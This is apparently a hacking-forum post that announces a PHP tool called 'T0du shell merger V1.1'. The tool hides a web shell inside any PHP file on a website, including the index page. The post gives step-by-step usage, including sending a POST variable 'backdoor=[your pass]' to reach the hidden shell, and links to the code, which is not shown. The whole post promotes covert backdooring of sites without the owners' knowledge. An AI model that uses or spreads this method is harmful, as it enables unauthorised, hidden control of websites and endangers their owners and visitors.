Backdoor any site with Shell merger (T0du shell merger V1.1)

Our Friend Shell 

Hello, posting after a long time. This time, I present my first tool coded in PHP with which, u can backdoor any php file on a website(Even index page :D), and hide any of your shell in it, without anyone knowing about it.

So now, without wasting any time, here goes the method to use it:

1. Enter local path of file to which ur shell is to be merged with.
2. Upload shell.
3. Select your password, which u'll use to access the merged shell.
4. Now hit the button.
5. To access the shell, send POST variable "backdoor=[your pass]" to the merged file name.
6. enjoy your shell  :)

Here is the code: http://pastebin.com/eePiu5iL